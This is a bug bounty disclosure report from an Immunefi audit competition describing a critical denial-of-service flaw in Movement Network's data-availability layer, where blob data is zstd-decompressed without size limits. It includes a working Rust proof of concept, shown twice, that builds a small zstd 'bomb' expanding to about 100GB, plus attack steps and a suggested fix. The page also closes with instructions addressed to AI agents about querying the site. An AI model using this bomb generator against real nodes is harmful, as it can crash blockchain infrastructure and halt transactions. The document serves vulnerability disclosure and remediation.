# 42233 \[BC-Critical] critical dos vulnerability in movement network s da layer due to zstd bomb blob exploit&#x20;

## #42233 \[BC-Critical] Critical DoS Vulnerability in Movement Network's DA Layer Due to Zstd bomb blob exploit

**Submitted on Mar 21st 2025 at 22:14:48 UTC by @perseverance for** [**Attackathon | Movement Labs**](https://immunefi.com/audit-competition/movement-labs-attackathon)

* **Report ID:** #42233
* **Report Type:** Blockchain/DLT
* **Report severity:** Critical
* **Target:** <https://github.com/immunefi-team/attackathon-movement/tree/main/protocol-units/da/movement/providers/celestia>
* **Impacts:**
  * Network not being able to confirm new transactions (total network shutdown)

### Description

#### Background Information

### Brief/Intro

A critical Denial of Service (DoS) vulnerability exists in Movement Network's Data Availability (DA) layer where the zstd decompression process lacks size limits. The current implementation in the `into_da_blob` function decompresses blob data without any size restrictions, allowing attackers to create "zstd bombs" - small compressed files that decompress to extremely large buffers.

According to the architecture of Movement Network, blob data is sent and received from Celestia DA Service. While Celestia has a 2MB blob size limit, this limit only applies to the compressed data, not the decompressed size. The decompression happens before any signature verification, so anyone can submit the malicious blob.

### The Vulnerability

#### Vulnerability Details

<https://github.com/immunefi-team/attackathon-movement/blob/main/protocol-units/da/movement/providers/celestia/src/blob/ir.rs#L7-L20>

The vulnerability exists in the `into_da_blob` function in `protocol-units/da/movement/providers/celestia/src/blob/ir.rs`:

```rust
	pub fn into_da_blob<C>(blob: CelestiaBlob) -> Result<DaBlob<C>, anyhow::Error>
	where
		C: Curve + for<'de> Deserialize<'de>,
	{
		// decompress blob.data with zstd
		let decompressed =
			zstd::decode_all(blob.data.as_slice()).context("failed to decompress blob")?;

		// deserialize the decompressed data with bcs
		let blob = bcs::from_bytes(decompressed.as_slice()).context("failed to deserialize blob")?;

		Ok(blob)
	}
```

The code uses `zstd::decode_all()` to decompress the blob data without any size limits. This is dangerous because:

1. The decompression happens before any signature verification
2. There are no limits on the decompressed size
3. Even with Celestia's 2MB blob size limit, an attacker can create a PoC that uses approximately 100GB of RAM on decompression

#### Attack Scenario

An attacker can:

Step 1. Create a malicious zstd-compressed blob that:

* Is under Celestia's 2MB size limit
* Contains specially crafted data that decompresses to a very large size
* Uses RLE (Run-Length Encoding) to create a "zstd bomb"

Step 2. Submit this blob to Celestia. Attackers can target many nodes in the Movement network

Step 3. When Movement nodes process this blob:

* The decompression will attempt to allocate massive amounts of memory
* This will either crash the node or severely impact its performance
* Multiple such blobs could be submitted to create a widespread DoS attack

#### PoC Code

```rust
fn zstd_bomb() {
    // MAGIC + header with max window size
    let mut b: Vec<u8> = vec![0x28, 0xb5, 0x2f, 0xfd, 0x0, 0x7f];
    let n_blocks = 0x530000;
    for _ in 0..n_blocks {
        // RLE block encoding 0xff byte repeated 0x8000 times
        b.extend(&[0x02, 0x00, 0x10, 0xff]);
    }
    // Block to finish the data
    b.extend(&[0x01, 0x00, 0x00]);
    // Check that we fit in celestia limits
    assert!(b.len() < 0x1_500_000);
    // decode the bomb
    // uses up at least 100GB on my machine after which it crashes
    let res = zstd::decode_all(b.as_slice()).unwrap();
    dbg!(res.len());
}
```

### Severity Assessment

Bug Severity: Critical

Impact category: Network not being able to confirm new transactions (total network shutdown)

This is assessed as Critical severity because:

**Impact:**

* Can cause complete node crashes
* Can lead to network-wide DoS attacks
* Affects all nodes in the network
* Can be exploited with minimal resources (just a small blob)

**Likelihood:**

* High - The attack is simple to execute
* Low cost - Only requires submitting small blobs
* High impact - Can affect the entire network
* No special privileges required

### Mitigation

The fix can use

Example fix:

```rust
pub fn into_da_blob<C>(blob: CelestiaBlob) -> Result<DaBlob<C>, anyhow::Error>
where
    C: Curve + for<'de> Deserialize<'de>,
{
    // Use streaming decoder with size limits
    let mut decoder = zstd::Decoder::with_buffer(blob.data.as_slice())?;
    let blob = bcs::de::Builder::new()
        .max_sequence_length(MAX_BLOB_LEN)
        .deserialize_reader(&mut decoder)
        .context("failed to deserialize blob")?;

    Ok(blob)
}
```

### Proof of Concept

## POC

The vulnerability can be triggered when:

Step 1: Create a valid Blob data structure with the following script to create the ztsd bomb

```rust
fn zstd_bomb() {
    // MAGIC + header with max window size
    let mut b: Vec<u8> = vec![0x28, 0xb5, 0x2f, 0xfd, 0x0, 0x7f];
    let n_blocks = 0x530000;
    for _ in 0..n_blocks {
        // RLE block encoding 0xff byte repeated 0x8000 times
        b.extend(&[0x02, 0x00, 0x10, 0xff]);
    }
    // Block to finish the data
    b.extend(&[0x01, 0x00, 0x00]);
    // Check that we fit in celestia limits
    assert!(b.len() < 0x1_500_000);
    // decode the bomb
    // uses up at least 100GB of RAM on my machine after which it crashes
    let res = zstd::decode_all(b.as_slice()).unwrap();
    dbg!(res.len());
}
```

Step 2: Send the malicious blob to Celestia

Step 3. The node will read data from Celestia and will decode the blob

Since it will require 100GB of Ram, it will crash the node.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/movement-labs-attackathon/42233-bc-critical-critical-dos-vulnerability-in-movement-network-s-da-layer-due-to-zstd-bomb-blob-ex.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
